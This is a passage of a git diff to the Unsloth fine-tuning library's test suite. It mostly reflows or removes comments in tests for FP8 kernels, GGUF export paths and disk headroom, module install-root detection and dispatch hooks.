os.path.dirname(os.path.realpath(sys.modules["json"].__file__ or ""))roots = (os.path.dirname(package_dir),) # the package's install rootinstalled = frozenset({os.path.realpath(sys.modules["json"].__file__ or ""), "/x.py"})@@ -358,11 +350,10 @@ def test_the_widening_only_covers_modules_that_import_back():finally:del sys.modules["json_lookalike"]- # `__main__`, SYNTHESISED rather than read off this process: under pytest- # `sys.modules["__main__"]` is a console script whose `__spec__` is None, so- # it is already refused above and an assertion on it passes without- # exercising the exclusion -- which is how a mutation deleting the exclusion- # survived this file once. `python -m pkg` gives it a real spec.+ # `__main__`, SYNTHESISED rather than read off this process: under pytest `sys.modules["__main__"]` is a console+ # script whose `__spec__` is None, so it is already refused above and an assertion on it passes without exercising+ # the exclusion -- which is how a mutation deleting the exclusion survived this file once. `python -m pkg` gives+ # it a real spec.for hostile in ("__main__", "__mp_main__"):fake = types.ModuleType(hostile)fake.__spec__ = types.SimpleNamespace(name = hostile, origin = f"/somewhere/pkg/{hostile}.py")@@ -482,9 +473,8 @@ def test_a_project_module_outside_the_install_root_keeps_its_by_value_state(tmp__dill_module_is_importable_by_name,)- # Native paths, not POSIX literals: on Windows `os.path.realpath("/opt")`- # is `D:\\opt`, which took this test red on the cross-platform lane while- # the code under it was fine.+ # Native paths, not POSIX literals: on Windows `os.path.realpath("/opt")` is `D:\\opt`, which took this test red on+ # the cross-platform lane while the code under it was fine.layer = tmp_path / "layer"elsewhere = tmp_path / "project"root = _dill_install_root(str(layer / "pyarrow" / "__init__.py"))@@ -544,8 +534,7 @@ def test_only_recorded_files_are_treated_as_dependency_owned(tmp_path):(root / "withtop-1.0.dist-info" / "top_level.txt").write_text("pkgone\n\n# comment\n", encoding = "utf-8")- # The single module that name resolves to: a name is honoured only where it- # really is one file on disk.+ # The single module that name resolves to: a name is honoured only where it really is one file on disk.(root / "pkgone.py").write_text("X = 1\n", encoding = "utf-8")(root / "onlyrecord-1.0.dist-info").mkdir()(root / "onlyrecord-1.0.dist-info" / "RECORD").write_text(@@ -558,8 +547,8 @@ def test_only_recorded_files_are_treated_as_dependency_owned(tmp_path):"__pycache__/singlemod.cpython-312.pyc,,\n",encoding = "utf-8",)- # Both files, which is ordinary. RECORD wins: running the name fallback too- # would claim the whole `bothns` directory and put a co-located+ # Both files, which is ordinary.+ # RECORD wins: running the name fallback too would claim the whole `bothns` directory and put a co-located# `bothns/myconfig.py` back on the dependency side.(root / "both-1.0.dist-info").mkdir()(root / "both-1.0.dist-info" / "RECORD").write_text("bothns/cloud.py,,\n", encoding = "utf-8")@@ -790,9 +779,8 @@ def test_the_gate_reads_the_literal_path_the_way_dill_does(tmp_path):assert "site-packages" not in literalassert "site-packages" in os.path.realpath(literal)- # This box's virtualenv root is an ancestor of tmp, so without moving the- # sys prefixes aside the gate answers False on the prefix rule and the- # site-packages rule is never reached -- a green test measuring nothing.+ # This box's virtualenv root is an ancestor of tmp, so without moving the sys prefixes aside the gate answers False+ # on the prefix rule and the site-packages rule is never reached -- a green test measuring nothing.names = ("base_prefix", "base_exec_prefix", "exec_prefix", "prefix", "real_prefix")saved = {n: getattr(sys, n) for n in names if hasattr(sys, n)}elsewhere = str(tmp_path / "not-a-prefix")diff --git a/tests/test_dispatch_hook_repair.py b/tests/test_dispatch_hook_repair.pyindex 97a60555b72..246dfecccaa 100644--- a/tests/test_dispatch_hook_repair.py+++ b/tests/test_dispatch_hook_repair.py@@ -29,8 +29,7 @@ def _repair():return _repair_dispatch_hooks-# `init_hook` moves real tensors, so a CUDA name needs that card and the CPU-# runner has none. "meta" is real everywhere; "cpu" must be left alone.+# `init_hook` moves real tensors, so a CUDA name needs that card and the CPU runner has none.FAR = "meta"NEAR = "cpu"@@ -113,8 +112,7 @@ def test_a_module_that_already_has_a_hook_is_left_alone():def test_a_single_device_map_is_left_completely_alone():- # Entries that WOULD attach, so dropping the early return changes the- # count. A map of unattachable devices passes either way and proves nothing.+ # Entries that WOULD attach, so dropping the early return changes the count.model = _Model({"embed_tokens": FAR, "lm_head": FAR, "layer": FAR})assert _repair()(model) == 0assert _hooked(model) == set(), "hooks were attached on a single-device load"@@ -154,8 +152,8 @@ def test_the_llama_loader_stands_aside_under_vllm():from unsloth.models.llama import FastLlamaModel- # dedent, not lstrip: this one is a method, so every line is indented and- # lstrip would leave the body hanging off a stripped `def`.+ # dedent, not lstrip: this one is a method, so every line is indented and lstrip would leave the body hanging off a+ # stripped `def`.tree = ast.parse(textwrap.dedent(inspect.getsource(FastLlamaModel.from_pretrained)))calls = [node@@ -291,7 +289,7 @@ def test_the_whole_sequence_against_real_accelerate():), "the repair reallocated a weight that was already on its mapped device"with torch.no_grad():- model(ids) # the crash above is gone+ model(ids)for parameter in model.parameters():parameter.requires_grad_(True)diff --git a/tests/test_enforce_kwargs_spacing.py b/tests/test_enforce_kwargs_spacing.pyindex 03220c61a3c..48c524c015c 100644--- a/tests/test_enforce_kwargs_spacing.py+++ b/tests/test_enforce_kwargs_spacing.py@@ -186,10 +186,10 @@ def test_enforce_spacing_noop_when_already_spaced():assert out == src+# Rule D:+# ── Rule D: def one-per-line iff >= 3 params AND a default ──────────────────# add comma -> force one-per-line; strip comma -> stay collapsible.--# Comma must be ADDED: >= 3 params, has a default, no trailing comma yet._DEF_ADD = {"three_with_default": "def f(a, b, c=1):\n return a\n","four_with_default": "def f(a, b, c, d=1):\n return a\n",@@ -259,9 +259,6 @@ def test_def_comma_exact_output_strip_and_add():)-# ── Rule C: merge adjacent same-line string literals ───────────────────────--@pytest.mark.parametrize("src,expected",[@@ -349,8 +346,6 @@ def test_fstring_fold_applied_inside_large_multiline_call():# ── collapse_short_asserts: strip the magic comma holding a short assert open ──# Strips the trailing comma so ruff joins the assert onto one line; AST unchanged.--@pytest.mark.parametrize("name,src",[@@ -403,7 +398,6 @@ def test_collapse_short_assert_strips_trailing_comma(name, src):' "alpha": 11111111,\n "beta": 22222222,\n'' "gamma": 33333333,\n "delta": 44444444,\n }\n',),- # already one line: nothing to do.("one_line", 'def t():\n assert got == {"a": 1, "b": 2}\n'),],)diff --git a/tests/test_fa2_fast_generate_bypass.py b/tests/test_fa2_fast_generate_bypass.pyindex 376364f39cb..5ca30a2642b 100644--- a/tests/test_fa2_fast_generate_bypass.py+++ b/tests/test_fa2_fast_generate_bypass.py@@ -269,8 +269,8 @@ def test_wrapper_dispatch_preserves_normalization_and_selects_expected_path():def test_flash_attention_fallback_pins_a_dynamic_cache():- # Delegating is not enough on its own: a static cache still reaches FlashAttention via- # an explicit kwarg, the caller's generation_config, or the model default.+ # Delegating is not enough on its own: a static cache still reaches FlashAttention via an+ # explicit kwarg, the caller's generation_config, or the model default.namespace = {"torch": SimpleNamespace(Tensor = type("FakeTensor", (), {"shape": (1, 3)}),diff --git a/tests/test_fast_gemv_dispatch.py b/tests/test_fast_gemv_dispatch.pyindex 7758db2cd99..13a27ef1a1a 100644--- a/tests/test_fast_gemv_dispatch.py+++ b/tests/test_fast_gemv_dispatch.py@@ -22,9 +22,9 @@ from types import SimpleNamespaceimport pytestimport torch-# unsloth.kernels.utils imports bitsandbytes unconditionally, so skip the whole module up-# front on runners without it (e.g. CPU-only) before importing unsloth, otherwise collection-# errors instead of producing a skip. Any other import error still surfaces as a failure.+# unsloth.kernels.utils imports bitsandbytes unconditionally, so skip the whole module up front on runners without it+# (e.g. CPU-only) before importing unsloth, otherwise collection errors instead of producing a skip. Any other import+# error still surfaces as a failure.pytest.importorskip("bitsandbytes")import unsloth # noqa: F401 (sets UNSLOTH_IS_PRESENT before transformers)diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.pyindex b32cf3c56ce..95cfe857a90 100644--- a/tests/test_fast_generate_slow_guard.py+++ b/tests/test_fast_generate_slow_guard.py@@ -60,26 +60,16 @@ def test_fast_generate_slow_guard():)assert _rejects(lambda: w(["a", "b"]), "fast_inference=True")assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True") # list of prompt dicts- assert _rejects(- lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True"- ) # vLLM TokensPrompt+ assert _rejects(lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True")assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True") # vLLM `prompts` kwarg- assert _rejects(- lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True"- ) # vLLM `prompts` kwarg list- assert _rejects(- lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True"- ) # vLLM legacy tokenized kwarg- assert _rejects(- lambda: w(prompts = [1, 2, 3]), "fast_inference=True"- ) # token-id list via vLLM-only `prompts` kwarg+ assert _rejects(lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True")+ assert _rejects(lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True")+ assert _rejects(lambda: w(prompts = [1, 2, 3]), "fast_inference=True")assert _rejects(lambda: w(prompts = None), "fast_inference=True") # vLLM-only kwarg present even if Noneassert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params")- assert _rejects(- lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params"- ) # list of SamplingParams+ assert _rejects(lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params")assert _rejects(lambda: w(sampling_params = object()), "sampling_params")# pass normal tokenized calls with no false positivesdiff --git a/tests/test_finetune_last_n_layers.py b/tests/test_finetune_last_n_layers.pyindex 35baef4d87f..b81986947ec 100644--- a/tests/test_finetune_last_n_layers.py+++ b/tests/test_finetune_last_n_layers.py@@ -1,7 +1,6 @@-# Unsloth - 2x faster, 70% less memory LLM finetuning-# Tests for the `finetune_last_n_layers` parity knob (translation helper only,-# no CUDA / real checkpoint); mirrors unsloth-zoo's MLX layers_to_transform path.-+# Unsloth - 2x faster, 70% less memory LLM finetuning Tests for the `finetune_last_n_layers` parity knob (translation+# helper only, no CUDA / real checkpoint);+# mirrors unsloth-zoo's MLX layers_to_transform path.from __future__ import annotationsimport pytest@@ -31,7 +30,7 @@ def test_get_total_transformer_layers_reads_text_config():class FakeModel:config = FakeConfig()- # No num_hidden_layers at top level — should fall through to text_config.+ # No num_hidden_layers at top level - should fall through to text_config.assert _get_total_transformer_layers(FakeModel()) == 24diff --git a/tests/test_flash_attn_4_namespace_shadow.py b/tests/test_flash_attn_4_namespace_shadow.pyindex c8f273a6a1c..b705f44c719 100644--- a/tests/test_flash_attn_4_namespace_shadow.py+++ b/tests/test_flash_attn_4_namespace_shadow.py@@ -264,7 +264,7 @@ def test_the_warning_names_the_cost_and_the_remedy(monkeypatch):monkeypatch.setattr(import_fixes, "_flash_attn_4_present", lambda: True)import_fixes._FA4_NAMESPACE_WARNED[0] = Falseimport_fixes._warn_flash_attn_4_shadow_once("test")- import_fixes._warn_flash_attn_4_shadow_once("test") # once only+ import_fixes._warn_flash_attn_4_shadow_once("test")assert len(messages) == 1text = messages[0]for needed in ("flash-attn 4", "SDPA", "3.9x", "flash_attn.cute", "pip uninstall"):diff --git a/tests/test_float32_no_fp16_autocast.py b/tests/test_float32_no_fp16_autocast.pyindex 507fdd63bdb..c03cc91a69b 100644--- a/tests/test_float32_no_fp16_autocast.py+++ b/tests/test_float32_no_fp16_autocast.py@@ -95,7 +95,6 @@ def _run("""Execute the block and report what it decided."""config = types.SimpleNamespace(dtype = model_dtype, torch_dtype = model_dtype)# from_pretrained records this only for an explicit dtype = torch.float32.- # Defaulting it from the model dtype keeps each test's intent readable.model = types.SimpleNamespace(config = config,_unsloth_user_float32 = (@@ -117,15 +116,14 @@ def _run("model": model,"print": lambda *a, **k: None,}- # The block imports device_is_bf16_supported and falls back to- # torch.cuda.is_bf16_supported; make both answer the same way.+ # The block imports device_is_bf16_supported and falls back to torch.cuda.is_bf16_supported; make both answer the+ # same way.real_cuda = torch.cudatorch.cuda = types.SimpleNamespace(is_bf16_supported = lambda: bf16_supported)import sys- # Stub the PARENT too: `from unsloth_zoo.device_type import x` imports- # unsloth_zoo first, and a raising package __init__ would silently route the- # block through the torch.cuda fallback instead of the branch under test.+ # Stub the PARENT too: `from unsloth_zoo.device_type import x` imports unsloth_zoo first, and a raising package+ # __init__ would silently route the block through the torch.cuda fallback instead of the branch under test.mod = types.ModuleType("unsloth_zoo.device_type")mod.device_is_bf16_supported = lambda: bf16_supportedutils = types.ModuleType("unsloth_zoo.utils")@@ -206,8 +204,8 @@ def test_explicit_bf16_on_a_float32_model_is_obeyed():def test_force_float32_models_take_the_earlier_branch():- # Gemma3 / gpt-oss on a T4: force_float32 wins before the new branch and- # already lands on pure float32, so the outcome is identical either way.+ # Gemma3 / gpt-oss on a T4: force_float32 wins before the new branch and already lands on pure float32, so the+ # outcome is identical either way.args, env = _run(torch.float32, bf16_supported = False, force_float32 = "1")assert (args.fp16, args.bf16) == (False, False)assert env["ACCELERATE_MIXED_PRECISION"] == "no"@@ -262,8 +260,8 @@ def test_the_legacy_language_model_path_records_it_too():fn = next(n for n in cls.body if isinstance(n, ast.FunctionDef) and n.name == "from_pretrained")body = ast.unparse(fn)assert "_requested_float32(dtype)" in body- # Every exit, including the two that hand off to FastModel: it would- # otherwise record the dtype we derived from a 4bit compute dtype.+ # Every exit, including the two that hand off to FastModel: it would otherwise record the dtype we derived from a+ # 4bit compute dtype.returns = [ast.unparse(n) for n in ast.walk(fn) if isinstance(n, ast.Return) and n.value is not None]diff --git a/tests/test_fp8_fbgemm_block_shapes.py b/tests/test_fp8_fbgemm_block_shapes.pyindex ffa1474fd32..9a8804e2da4 100644--- a/tests/test_fp8_fbgemm_block_shapes.py+++ b/tests/test_fp8_fbgemm_block_shapes.py@@ -102,8 +102,9 @@ def _rel_err(out, ref):def test_output_tile_grid_battery_matches_reference():skip_without_fbgemm()- # Both dispatch buckets' former failure zones plus safe shapes. On fbgemm- # <=1.3.0 the bad ones hit ~0.7 rel error; healthy quant noise is ~0.04.+ # Both dispatch buckets' former failure zones plus safe shapes.+ # On fbgemm <=1.3.0 the bad ones hit ~0.7 rel error;+ # healthy quant noise is ~0.04.from unsloth.kernels.fp8 import FP8_fbgemm_block_lineartorch.manual_seed(0)@@ -188,8 +189,8 @@ def test_non_square_block_uses_dequant_fallback():@pytest.mark.parametrize("kind", ["per_tensor", "per_tensor_2d", "bf16_scale", "strided_3d"])def test_inputs_the_kernel_rejects_use_dequant_fallback(kind):- # All four used to reach f8f8bf16_blockwise and raise: no block grid to unpack- # (0-dim or (1, 1)), a non-float32 scale, and a strided view no .view() flattens.+ # All four used to reach f8f8bf16_blockwise and raise: no block grid to unpack (0-dim or (1, 1)), a non-float32+ # scale, and a strided view no .view() flattens.from unsloth.kernels.fp8 import FP8_fbgemm_block_lineartorch.manual_seed(0)@@ -223,8 +224,8 @@ def test_inputs_the_kernel_rejects_use_dequant_fallback(kind):@pytest.mark.parametrize("block", [[128, 64], [64, 128]]) # square stays on the kernel@pytest.mark.parametrize("N,K", [(256, 512), (256, 256)])def test_transposed_weight_swaps_block_axes(block, N, K):- # fast_lora's backward passes downW.t(), whose block axes are swapped too. At- # N == K both grids validate, which is where a rectangular block mis-scaled dX.+ # fast_lora's backward passes downW.t(), whose block axes are swapped too. At N == K both grids validate, which is+ # where a rectangular block mis-scaled dX.from unsloth.kernels.fp8 import FP8_fbgemm_block_lineartorch.manual_seed(0)diff --git a/tests/test_fp8_restore_dropped_scale.py b/tests/test_fp8_restore_dropped_scale.pyindex a85b24daffd..3ae45e9ecdb 100644--- a/tests/test_fp8_restore_dropped_scale.py+++ b/tests/test_fp8_restore_dropped_scale.py@@ -172,7 +172,7 @@ def test_noop_when_fully_dequantized():restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)assert (restored, skipped) == (0, 0)- assert torch.equal(model.layer.weight.data, raw) # untouched+ assert torch.equal(model.layer.weight.data, raw)def test_non_block_divisible_shape():@@ -299,7 +299,7 @@ def test_skips_variant_load():_write_checkpoint(d, {"layer.weight_scale_inv": scale})result = _restore_dropped_fp8_scales(model, d, local_files_only = True, variant = "fp8")assert result == (0, 0)- assert torch.equal(model.layer.weight.data, raw) # untouched+ assert torch.equal(model.layer.weight.data, raw)def test_vlm_language_model_model_alias():@@ -313,9 +313,7 @@ def test_vlm_language_model_model_alias():model.anchor = _fp8_anchor()model.model = nn.Module()model.model.language_model = nn.Module()- model.model.language_model.gate_proj = _bf16_linear(- 2, 2, raw- ) # -> model.language_model.gate_proj+ model.model.language_model.gate_proj = _bf16_linear(2, 2, raw)with tempfile.TemporaryDirectory() as d:_write_checkpoint(d, {"language_model.model.gate_proj.weight_scale_inv": scale})restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)diff --git a/tests/test_fp8_tiny_e8m0.py b/tests/test_fp8_tiny_e8m0.pyindex df40879d5aa..5a3c86df2e7 100644--- a/tests/test_fp8_tiny_e8m0.py+++ b/tests/test_fp8_tiny_e8m0.py@@ -33,7 +33,7 @@ def test_tiny_non_tileable_forward_backward_matches_reference():torch.manual_seed(0)block = [128, 128]m, n = 8, 8 # non-tileable, in-dim % 128 != 0- weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16) # (out=m, in=n)+ weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)scale = torch.rand(1, 1, device = dev, dtype = torch.float32) + 0.5X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)@@ -65,10 +65,8 @@ def test_e8m0_scale_is_upcast_and_runs():def test_rectangular_block_dequant_matches_reference():- # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to- # route through the triton weight_dequant kernel, which uses a single BLOCK_SIZE- # for both axes and mis-indexes the column scale. Verify the torch expansion path- # now matches the reference for a 64x256 weight with block [64, 128] (scale 1x2).+ # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to route through the triton+ # weight_dequant kernel, which uses a single BLOCK_SIZE for both axes and mis-indexes the column scale.from unsloth.kernels.fp8 import _blockwise_weight_dequant_any_shapetorch.manual_seed(0)@@ -96,18 +94,16 @@ def test_e8m0_scale_preserves_non_default_block_size_attr():torch.manual_seed(0)block = [64, 64]- # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant- # fallback (no fp8 matmul kernel). Scale shape (2, 2) validates for [64, 64] but- # not [128, 128] (which expects (1, 1)).+ # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant fallback (no fp8 matmul kernel).m, n = 128, 96- weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16) # no block_size attr+ weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)scale_f = torch.rand(2, 2, device = dev) + 1.0scale = scale_f.to(torch.float8_e8m0fnu)scale.block_size = block # attribute lives on the scale, not the weightX = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)- # With [128, 128] this raises "not compatible with block size"; success proves- # the [64, 64] attribute survived the e8m0 -> float32 upcast.+ # With [128, 128] this raises "not compatible with block size"; success proves the [64, 64] attribute survived the+ # e8m0 -> float32 upcast.out = FP8BlockQuantLinear.apply(X, weight, scale)assert torch.isfinite(out).all()diff --git a/tests/test_get_model_name.py b/tests/test_get_model_name.pyindex bbd5bfacb11..60b840abc33 100644--- a/tests/test_get_model_name.py+++ b/tests/test_get_model_name.py@@ -22,7 +22,6 @@ class TestGetModelName(unittest.TestCase):@patch.object(loader_utils, "_get_new_mapper", _no_remote_mapper)def test_resolution_matrix(self):cases = [- # Core mappings("meta-llama/Llama-2-7b-hf", True, "unsloth/llama-2-7b-bnb-4bit", True),("meta-llama/Llama-2-7b-hf", False, "unsloth/llama-2-7b", True),(@@ -116,7 +115,6 @@ class TestGetModelName(unittest.TestCase):"unsloth/DeepScaleR-1.5B-Preview-unsloth-bnb-4bit",True,),- # Fallback-to-original behavior"nonexistent-user/nonexistent-model-123","google/gemma-3-random-prototype-123","imdatta0/nanoqwen-fp8",@@ -125,7 +123,6 @@ class TestGetModelName(unittest.TestCase):("unsloth/llama-2-7b-bnb-4bit", True, "unsloth/llama-2-7b-bnb-4bit", False),("unsloth/llama-2-7b-bnb-4bit", False, "unsloth/llama-2-7b", True),("google/gemma-2-9b", True, "unsloth/gemma-2-9b-bnb-4bit", True),- # GPT-OSS behavior("openai/gpt-oss-20b", False, "unsloth/gpt-oss-20b", True),("openai/gpt-oss-20b", True, "unsloth/gpt-oss-20b-unsloth-bnb-4bit", True),("unsloth/gpt-oss-20b", True, "unsloth/gpt-oss-20b-unsloth-bnb-4bit", True),diff --git a/tests/test_gguf_basename_platform_matrix.py b/tests/test_gguf_basename_platform_matrix.pyindex d780164f8c0..4f31b50eaea 100644--- a/tests/test_gguf_basename_platform_matrix.py+++ b/tests/test_gguf_basename_platform_matrix.py@@ -81,13 +81,14 @@ def _load_helper():_OS_CELLS = {"windows": (ntpath, r"D:\Models\Merged Models\MyModel"),"linux": (posixpath, "/home/u/models/MyModel"),- # WSL reaches a Windows drive through drvfs; it is an ordinary POSIX path.+ # WSL reaches a Windows drive through drvfs;+ # it is an ordinary POSIX path."wsl": (posixpath, "/mnt/d/Models/MyModel"),"macos": (posixpath, "/Users/u/models/MyModel"),}-# Cells that are not real products. Kept as invariance checks only -- passing-# here is NOT a claim that Unsloth supports CUDA or ROCm on macOS.+# Cells that are not real products.+# passing here is NOT a claim that Unsloth supports CUDA or ROCm on macOS._UNREAL_CELLS = {("macos", "nvidia"), ("macos", "rocm")}diff --git a/tests/test_gguf_disk_headroom.py b/tests/test_gguf_disk_headroom.pyindex 90de49cbc11..30fafef19f4 100644--- a/tests/test_gguf_disk_headroom.py+++ b/tests/test_gguf_disk_headroom.py@@ -36,8 +36,8 @@ import pytestGB = 1024**3-# A weight shard of the merge, as opposed to anything else that ends in-# `.safetensors` (an adapter) or `.bin` (`training_args.bin`).+# A weight shard of the merge, as opposed to anything else that ends in `.safetensors` (an adapter) or `.bin`+# (`training_args.bin`)._MERGE_SHARD = re.compile(r"^(model|pytorch_model|consolidated)\.|-\d+-of-\d+\.")@@ -56,10 +56,10 @@ def _layout(tmp_path, merge_gb, base_gb):gguf = tmp_path / "model_gguf"merge.mkdir()gguf.mkdir()- # Sparse files: only the sizes are read, and writing 60GB of zeroes to prove a- # point about disk space would be its own joke. The names are the- # `-NNNNN-of-NNNNN` set `save_pretrained` really writes, which is what the- # reclamation matches on; `model-00001.safetensors` is not a shape it produces.+ # Sparse files: only the sizes are read, and writing 60GB of zeroes to prove a point about disk space would be its+ # own joke.+ # The names are the `-NNNNN-of-NNNNN` set `save_pretrained` really writes, which is what the reclamation matches on;+ # `model-00001.safetensors` is not a shape it produces.merge_shards = list(_split(merge_gb))for i, gb in enumerate(merge_shards):name = f"model-{i + 1:05d}-of-{len(merge_shards):05d}.safetensors"@@ -320,7 +320,6 @@ def test_the_bytes_already_written_are_not_charged_twice(tmp_path, save_mod):import types as _typesoutput = tmp_path / "model.Q4_K_M.gguf"- # Sparse, for the same reason the layout above is.with open(output, "wb") as f:f.truncate(5 * GB)@@ -328,7 +327,6 @@ def test_the_bytes_already_written_are_not_charged_twice(tmp_path, save_mod):try:failure = RuntimeError("unknown model architecture")- # 12GB free at the start, 5GB of the 10GB output written, so 7GB left.save_mod.shutil.disk_usage = lambda *_a, **_k: _types.SimpleNamespace(total = 0, used = 0, free = 7 * GB)@@ -339,8 +337,7 @@ def test_the_bytes_already_written_are_not_charged_twice(tmp_path, save_mod):partial_output = str(output),)- # A disk that really is short is still short: 1GB left plus the 5GB- # written is 6GB, and the output wanted 10GB.+ # A disk that really is short is still short: 1GB left plus the 5GB written is 6GB, and the output wanted 10GB.save_mod.shutil.disk_usage = lambda *_a, **_k: _types.SimpleNamespace(total = 0, used = 0, free = 1 * GB)@@ -351,8 +348,7 @@ def test_the_bytes_already_written_are_not_charged_twice(tmp_path, save_mod):partial_output = str(output),)- # A pass that wrote nothing at all is unchanged, and so is a caller- # that names an output which is not there.+ # A pass that wrote nothing at all is unchanged, and so is a caller that names an output which is not there.assert save_mod._gguf_failure_looks_like_disk(failure,str(tmp_path),@@ -469,8 +465,8 @@ def test_a_caller_can_keep_a_directory_it_owns(tmp_path, monkeypatch, save_mod):generic.update(kw)monkeypatch.setattr(save_mod, "unsloth_generic_save", _generic_save)- # isinstance() against a stand-in class is what puts the export on its PEFT- # branch, which is the one that calls unsloth_generic_save.+ # isinstance() against a stand-in class is what puts the export on its PEFT branch, which is the one that calls+ # unsloth_generic_save.monkeypatch.setattr(save_mod, "PeftModelForCausalLM", _FakeModel)model = _FakeModel("some-org/some-model")seen = _run_export(@@ -798,8 +794,7 @@ def test_the_diagnosis_is_not_priced_off_the_reclamation_bound(save_mod):"""upper = save_mod._gguf_output_size_ratio("q4_k_m", "bf16")lower = save_mod._gguf_output_size_ratio("q4_k_m", "bf16", upper_bound = False)- # llama.cpp's own 7B table puts Q4_K_M near 4.8 bits a weight; the two bounds- # have to sit either side of it.+ # llama.cpp's own 7B table puts Q4_K_M near 4.8 bits a weight; the two bounds have to sit either side of it.assert lower < 4.5 / 16 < upper# Codex's case, run through the helper the way the call site does.@@ -826,8 +821,8 @@ def test_the_diagnosis_is_not_priced_off_the_reclamation_bound(save_mod):assert save_mod._gguf_output_size_ratio(dtype, "bf16") == (save_mod._gguf_output_size_ratio(dtype, "bf16", upper_bound = False))- # A width the diagnosis cannot measure is not guessed at: None puts the- # caller back on the fixed floor rather than charging a whole base copy.+ # A width the diagnosis cannot measure is not guessed at: None puts the caller back on the fixed floor rather than+ # charging a whole base copy.assert save_mod._gguf_output_size_ratio("something_new", "bf16") == 1.0assert save_mod._gguf_output_size_ratio("something_new", "bf16", upper_bound = False) is None@@ -872,8 +867,8 @@ def test_the_index_is_reclaimed_with_the_shards_it_named(tmp_path, monkeypatch,os.path.join(merge, "model.safetensors.index.json")), "the index named the shards that were just deleted and cannot outlive them"- # Second export into the same directory, provenance snapshotted the way- # `unsloth_save_pretrained_gguf` does, before the merge writes.+ # Second export into the same directory, provenance snapshotted the way `unsloth_save_pretrained_gguf` does, before+ # the merge writes.preexisting = frozenset(os.listdir(merge))_write_merge()freed = _reclaim(save_mod, merge, gguf, bases, preexisting_weights = preexisting)diff --git a/tests/test_gguf_model_basename.py b/tests/test_gguf_model_basename.pyindex d28132d1b12..872a6d08c10 100644--- a/tests/test_gguf_model_basename.py+++ b/tests/test_gguf_model_basename.py@@ -52,8 +52,8 @@ def _load_helper():# Table A: the basename contract.-# (label, config._name_or_path, expected model_name)-# Rows marked REGRESSION must be byte-identical to the old .split("/")[-1].+# (label, config._name_or_path, expected model_name) Rows marked REGRESSION must be byte-identical to the old+# .split("/")[-1]._TABLE_A = [# -- REGRESSION rows: behaviour must not change -------------------------("hf_id", "unsloth/Qwen3-8B", "Qwen3-8B"),@@ -144,7 +144,6 @@ def test_helper_is_idempotent():# The join arithmetic this protects (real ntpath, no mocking).-_GGUF_DIR = r"C:\Users\u\.unsloth\exports\MyModel\_tmp_model_ab12_gguf"@@ -175,9 +174,6 @@ def test_unfixed_derivation_really_did_escape():assert ntpath.dirname(escaped) != _GGUF_DIR-# Source guards.--def _gguf_func_src(name: str) -> str:src = _SAVE_PY.read_text(encoding = "utf-8")tree = ast.parse(src)@@ -218,7 +214,6 @@ def test_helper_is_module_level_and_adds_no_locals_to_the_gguf_entrypoint():fn = ast.parse(body).body[0]def _is_locals_snapshot(stmt) -> bool:- # `arguments = dict(locals())`if not isinstance(stmt, ast.Assign) or not isinstance(stmt.value, ast.Call):return Falsecall = stmt.valuediff --git a/tests/test_gguf_windows_export_routing.py b/tests/test_gguf_windows_export_routing.pyindex cec00e2aac9..1068f3e7554 100644--- a/tests/test_gguf_windows_export_routing.py+++ b/tests/test_gguf_windows_export_routing.py@@ -17,14 +17,12 @@ import posixpathimport pytest-# test_gguf_model_basename.py covers the pure basename contract with no deps; this-# file drives the real save_to_gguf, so it needs the ML stack. Skip cleanly rather-# than failing collection in a minimal environment.+# test_gguf_model_basename.py covers the pure basename contract with no deps;+# this file drives the real save_to_gguf, so it needs the ML stack.save_mod = pytest.importorskip("unsloth.save", reason = "needs torch + unsloth_zoo")# OS shim: pure path ops from ntpath/posixpath, filesystem ops stay real.-_PURE = {"join","basename",@@ -99,8 +97,8 @@ class _Harness:# unsloth_zoo/llama_cpp.py:2465 -- the name zoo would build.final = model_name if model_name.endswith(".gguf") else f"{model_name}.{qtype.upper()}.gguf"self.initial_names.append(final)- # save.py:2037 requires the returned paths to exist. The escape under test is- # at the *quantize* join (model_name + gguf_directory), not this path.+ # save.py:2037 requires the returned paths to exist.+ # The escape under test is at the *quantize* join (model_name + gguf_directory), not this path.return [str(self._scratch(final))], Falsedef _quantize(self, input_gguf, output_gguf, quant_type, **kw):@@ -125,8 +123,8 @@ def _run():harness = _Harness(monkeypatch, tmp_path, flavour)monkeypatch.setattr(save_mod, "shutil", _NoMove(), raising = False)- # gguf_directory is a Windows-style string here; os.makedirs is the *real* one,- # so chdir into tmp so a literal "C:\..." directory cannot land in the repo.+ # gguf_directory is a Windows-style string here;+ # os.makedirs is the *real* one, so chdir into tmp so a literal "C:\..." directory cannot land in the repo.monkeypatch.chdir(tmp_path)save_mod.save_to_gguf(model_name = model_name,diff --git a/tests/test_gguf_windows_native.py b/tests/test_gguf_windows_native.pyindex fd8a4e328b3..d5bebbb341a 100644--- a/tests/test_gguf_windows_native.py+++ b/tests/test_gguf_windows_native.py@@ -37,8 +37,6 @@ def _load_helper():# Ground truth: the platform behaviours the Linux simulation asserts.--def test_join_really_discards_the_prefix_for_a_drive_bearing_component():"""The mechanism behind #7897, on the real platform."""assert os.path.join(r"C:\exp\_gguf", r"D:\M\X.Q5_K_M.gguf") == r"D:\M\X.Q5_K_M.gguf"@@ -65,8 +63,6 @@ def test_posix_basename_would_not_have_fixed_it():# The fix, on 